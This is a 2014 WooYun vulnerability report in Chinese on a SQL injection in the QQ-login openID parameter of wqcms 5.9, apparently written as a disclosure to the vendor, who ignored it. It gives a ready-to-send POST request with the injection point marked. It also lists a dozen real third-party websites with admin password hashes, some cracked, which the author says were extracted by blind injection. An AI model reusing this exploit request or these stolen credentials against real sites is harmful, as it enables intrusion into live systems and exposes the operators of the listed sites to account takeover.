漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-070557
漏洞标题：wqcms5.9sql注入以及后台getshell
相关厂商：wangqi.com
漏洞作者： nk_z
提交时间：2014-08-01 17:05
修复时间：2014-08-06 17:06
公开时间：2014-08-06 17:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-01： 细节已通知厂商并且等待厂商处理中
2014-08-06： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
wqcms5.9注册的时候提供了一个qq登录接口，通过qq接口获取openid存入数据库中，但是未对这个openid进行过滤导致sql注入
详细说明：
原理
漏洞文件位置:bin/wqcms_Pages.dll
反编译找到wqcms.Pages.Ajax这个类中xf9a399572f1fa0d0(bool xf26bd65482aef7ff0)这个方法
其中接收到的参数openID只做了html编码就传入到sql语句中造成的sql注入
下面是代码截图:
漏洞证明：
1利用方法.构造post数据包
POST /ajax.aspx HTTP/1.1
Host: web3314321.gy234.badudns.cc
Accept: application/json, text/javascript, */*; q=0.01
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Origin: http://10.211.55.16
Content-Length: 48
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4
Referer: http://10.211.55.16/default.aspx
cmd=qqlogin&openID=12'(盲注注入点)&nickname=admin&appType=12
然后发送就可以了
下面是通过自己写的盲注脚本可以获取的账号密码
web3314321.gy234.badudns.cc该站点用户名为admin密码md5为
下面是其他站点wqcms5.9注入获取的数据（有些md5是需要收费的所以没破解）
http://ypit.ypskz.com.cn eec81904e076e9737add0a50274374f5 65043696
http://www.lswq.net c2d00ad6363a62c6d05acfa6a8d5642a
http://www.llxdyzx.cn dc917b327006fa5b97e152048ecd3a43
http://jssqdzxjxky.aedu.co 21232f297a57a5a743894a0e4a801fc3 admin
http://www.xsyhzx.com 258d0faa256837b17b1224f9071d90cf
http://www.pjxx.jzjtj.net 7e53e92920524038ff4f7492b8f8aea3 86250141
http://jianxin.jnbus.com 21232f297a57a5a743894a0e4a801fc3 admin
http://www.qtzx.cn 8400323c53281bfa30f10504c22e1d43
http://www.dnfxiaoyouxi.com 17ad1bc3d7ec9fef3bba75947df01b2d
http://itep.wenliedu.com e3a79453e05af2e18bdc056cd9f3340b
http://www.mpacc.cc 43f26fcf509cc4f4df3f304fb0140261
http://www.hlbrjs.gov.cn 65815301d5a46798b17fcdb55bf4b310
修复方案：
过滤openid参数
版权声明：转载请注明来源 nk_z@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-08-06 17:06
厂商回复：
最新状态：
暂无